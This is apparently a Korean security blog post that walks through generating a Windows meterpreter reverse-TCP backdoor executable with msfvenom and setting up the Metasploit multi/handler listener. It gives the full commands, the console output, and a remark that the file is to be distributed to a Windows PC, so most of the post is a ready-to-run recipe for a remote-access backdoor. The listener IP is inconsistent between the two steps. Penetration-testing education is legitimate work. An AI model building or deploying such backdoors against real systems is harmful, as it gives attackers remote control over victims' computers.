본문 바로가기

정보/보안-개인정보보호

[메타익스플로잇] 간단한 악성코드 생성 (msfvenom)

<악성코드(클라이언트) 생성>

* msfvenom : 메타익스플로잇 프레임워크의 악성코드 생성 명령어


* msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.142.138 lport=4444 -f exe -o /root/Desktop/backdoor.exe

  - -p 옵션 : payload, 보안에서 payload는 악성코드의 일부분. (공격코드)

  - windows/meterpreter/reverse_tcp : 이미 만들어놓은 payload

   . 윈도우(운영체제) - 메타익스플로잇 인터프리터(페이로드 종류) - 역으로 tcp 접속(커넥션 방식)

  - lhost 및 lport :서버 아이피 및 포트로 -p 옵션의 옵션

  - -f 옵션 : 파일포맷

  - -o 옵션 : 아웃풋 경로


root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.142.138 lport=4444 -f exe -o 
/root/Desktop/backdoor.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
Saved as: /root/Desktop/backdoor.exe


* /root/Desktop/backdoor.exe 라는 악성코드 파일이 생성됨.

* 이렇게 만든 backdoor.exe 를 배포하여 악성코드(클라이언트) 역할을 한다. (윈도우 PC로 복사)


이제 악성코드(클라이언트)를 만들었으니 이를 제어할 핸들러(서버)를 생성해야 함.


<핸들러(서버) 설정>

1. 핸들러 사용

 * msfconsole 실행

 * 핸들러 사용 : use exploit/multi/handler

 * 해당 경로는 /usr/share/metasploit-framework/modules/exploits/multi 밑에 있음

 * msfconsole로 들어오면 기본적으로 /usr/share/metasploit-framework/modules 까지 들어온 상태

root@kali:~# msfconsole
                                                  
# cowsay++
 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *


       =[ metasploit v4.16.48-dev                         ]
+ -- --=[ 1749 exploits - 1002 auxiliary - 302 post       ]
+ -- --=[ 536 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/multi/handler


2. 옵션 설정

 * show options : 설정된 옵션 확인 (설정된 것 없음)

 * set payload windows/meterpreter/reverse_tcp : 사용하는 페이로드 설정

 * set lhost 192.168.142.62 : 로컬 아이피(서버) 설정

 * set lport 4444 : 로컬 IP(서버) 설정

 * set exitsession false : 하나의 클라이언트가 아닌 여러 클라이언트(세션) 동시 접속 가능

 * exploit -j : 익스플로잇 실행! (j 옵션은 백그라운드에서 돌도록 실행)

msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.142.62
lhost => 192.168.142.62
msf exploit(multi/handler) > set lport 4444
lport => 4444
msf exploit(multi/handler) > set exitonsession false
exitonsession => false
msf exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.

[-] Handler failed to bind to 192.168.142.62:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444 
msf exploit(multi/handler) >